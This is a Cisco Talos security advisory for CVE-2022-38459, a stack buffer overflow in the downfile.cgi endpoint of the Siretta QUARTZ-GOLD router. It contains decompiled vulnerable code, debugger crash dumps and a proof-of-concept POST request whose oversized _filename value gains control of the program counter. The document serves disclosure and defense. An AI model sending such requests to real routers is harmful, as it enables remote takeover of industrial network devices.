Headline
CVE-2022-38459: TALOS-2022-1608 || Cisco Talos Intelligence Group
A stack-based buffer overflow vulnerability exists in the httpd downfile.cgi functionality of Siretta QUARTZ-GOLD G5.0.1.5-210720-141020. A specially-crafted HTTP request can lead to remote code execution. An attacker can send an HTTP request to trigger this vulnerability.
SUMMARY
A stack-based buffer overflow vulnerability exists in the httpd downfile.cgi functionality of Siretta QUARTZ-GOLD G5.0.1.5-210720-141020. A specially-crafted HTTP request can lead to remote code execution. An attacker can send an HTTP request to trigger this vulnerability.
CONFIRMED VULNERABLE VERSIONS
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
Siretta QUARTZ-GOLD G5.0.1.5-210720-141020
PRODUCT URLS
QUARTZ-GOLD - https://www.siretta.com/products/industrial-routers/4g-lte-router/gigabit-ethernet-small-footprint-lte-router-eu/
CVSSv3 SCORE
7.2 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CWE
CWE-120 - Buffer Copy without Checking Size of Input (‘Classic Buffer Overflow’)
DETAILS
The Siretta QUARTZ-GOLD is an industrial cellular router with several features and services, such as: SSH, UPNP, VPN, SNMP and many others.
The QUARTZ-GOLD router has a web server with several functionalities, a subset of which are related to the management of external files. Indeed, the web-server offers API for uploading files, downloading them, and also deleting if no longer required.
Following the API to download a previously uploaded file:
void downfile.cgi(void)
{
[...]
_filename_param = (char *)webcgi_safeget("_filename"); [1]
filename = "";
if (_filename_param != (char *)0x0) {
filename = _filename_param;
}
[... calculate base_folder ...]
if (*filename != '\0') {
sprintf(buff,"Content-Disposition:attachment;filename=\"%s\"",(char)filename);
send_header(200,buff,"application/tomato-binary-file",0);
sprintf(buff,"%s/%s",base_folder,filename); [2]
do_file(buff); [3]
}
return;
}
The downfile.cgi expects one parameter called _filename that represents the filename of the desired file to be downloaded. At [1] the uploaded parameter is taken and then used at [2]. The function used at [2] is a sprintf, which does not take into consideration the size of the buffer. If the _filename parameter is longer than a certain length, the instruction at [2] would cause a stack-based buffer overflow that could led to remote code execution.
Crash Information
$r0 : 0x0
$r1 : 0x0
$r2 : 0x7ef38c60 → "/jffs/aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaa[...]"
$r3 : 0x2000
$r4 : 0x61666b61 ("akfa"?)
$r5 : 0x61676b61 ("akga"?)
$r6 : 0x61686b61 ("akha"?)
$r7 : 0x1
$r8 : 0x0
$r9 : 0x0001e658 → "downfile.cgi"
$r10 : 0x0001dbac → 0x0001e658 → "downfile.cgi"
$r11 : 0x7ef3b784 → "admin"
$r12 : 0x2ae5573c → 0x2ae41ac4 → <_pthread_cleanup_pop_restore+0> push {r3, lr}
$sp : 0x7ef39070 → "akjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaak"
$lr : 0x2ae3bb30 → <free+492> pop {r0, r1, r2, r3, r4, r5, r6, pc}
$pc : 0x61696b60 ("`kia"?)
$cpsr: [negative ZERO CARRY overflow interrupt fast THUMB]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x7ef39070│+0x0000: "akjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaak" ← $sp
0x7ef39074│+0x0004: "akkaaklaakmaaknaakoaakpaakqaakraaksaaktaak"
0x7ef39078│+0x0008: "aklaakmaaknaakoaakpaakqaakraaksaaktaak"
0x7ef3907c│+0x000c: "akmaaknaakoaakpaakqaakraaksaaktaak"
0x7ef39080│+0x0010: "aknaakoaakpaakqaakraaksaaktaak"
0x7ef39084│+0x0014: "akoaakpaakqaakraaksaaktaak"
0x7ef39088│+0x0018: "akpaakqaakraaksaaktaak"
0x7ef3908c│+0x001c: "akqaakraaksaaktaak"
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:arm:THUMB ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x61696b60
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "httpd", stopped 0x61696b60 in ?? (), reason: SIGSEGV
Exploit Proof of Concept
Sending a request like the following:
POST /downfile.cgi HTTP/1.1
Authorization: Basic <a valid basic auth>
Content-Length: 1119
_filename=aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaak&_http_id=<the correct tid>
The status at the return address of the downfile.cgi function would be:
$r0 : 0x0
$r1 : 0x0
$r2 : 0x7ef38c60 → "/jffs/aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaa[...]"
$r3 : 0x2000
$r4 : 0x7ef38c60 → "/jffs/aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaa[...]"
$r5 : 0x00031082 → "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]"
$r6 : 0x0002272b → "/jffs"
$r7 : 0x1
$r8 : 0x0
$r9 : 0x0001e658 → "downfile.cgi"
$r10 : 0x0001dbac → 0x0001e658 → "downfile.cgi"
$r11 : 0x7ef3b784 → "admin"
$r12 : 0x2ae5573c → 0x2ae41ac4 → <_pthread_cleanup_pop_restore+0> push {r3, lr}
$sp : 0x7ef39060 → "akfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaak[...]"
$lr : 0x2ae3bb30 → <free+492> pop {r0, r1, r2, r3, r4, r5, r6, pc}
$pc : 0x0000f96c → pop {r4, r5, r6, pc}
$cpsr: [negative ZERO CARRY overflow interrupt fast thumb]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x7ef39060│+0x0000: "akfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaak[...]" ← $sp
0x7ef39064│+0x0004: "akgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraak[...]"
0x7ef39068│+0x0008: "akhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaak[...]"
0x7ef3906c│+0x000c: "akiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaak"
0x7ef39070│+0x0010: "akjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaak"
0x7ef39074│+0x0014: "akkaaklaakmaaknaakoaakpaakqaakraaksaaktaak"
0x7ef39078│+0x0018: "aklaakmaaknaakoaakpaakqaakraaksaaktaak"
0x7ef3907c│+0x001c: "akmaaknaakoaakpaakqaakraaksaaktaak"
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:arm:ARM ────
0xf960 mov r0, sp
0xf964 bl 0xbbc8
0xf968 add sp, sp, #1024 ; 0x400
→ 0xf96c pop {r4, r5, r6, pc}
[!] Cannot disassemble from $PC
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "httpd", stopped 0xf96c in ?? (), reason: BREAKPOINT
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0xf96c → pop {r4, r5, r6, pc}
[#1] 0x2ae3bb30 → free()
So the next instruction will populate the pc with the fourth dword contained in the stack, so:
gef➤ hexdump dw $sp
0x7ef39060│+0x0000 0x61666b61
0x7ef39064│+0x0004 0x61676b61
0x7ef39068│+0x0008 0x61686b61
0x7ef3906c│+0x000c 0x61696b61
[...]
After the pop the pc will contain the 0x61696b61 value.
TIMELINE
2022-10-14 - Initial Vendor Contact
2022-10-20 - Vendor Disclosure
2022-11-24 - Vendor Patch Release
2023-01-26 - Public Release
Discovered by Francesco Benvenuto of Cisco Talos.
Related news
Given the privileged position these devices occupy on the networks they serve, they are prime targets for attackers, so their security posture is of paramount importance.
Francesco Benvenuto of Cisco Talos discovered these vulnerabilities. Cisco Talos recently discovered several vulnerabilities in the Siretta Quartz-Gold router. Talos also discovered vulnerabilities in FreshTomato while investigating the Siretta router. The Siretta Quartz-Gold is an industrial cellular router with several features and services, such as: SSH, UPNP, VPN, SNMP and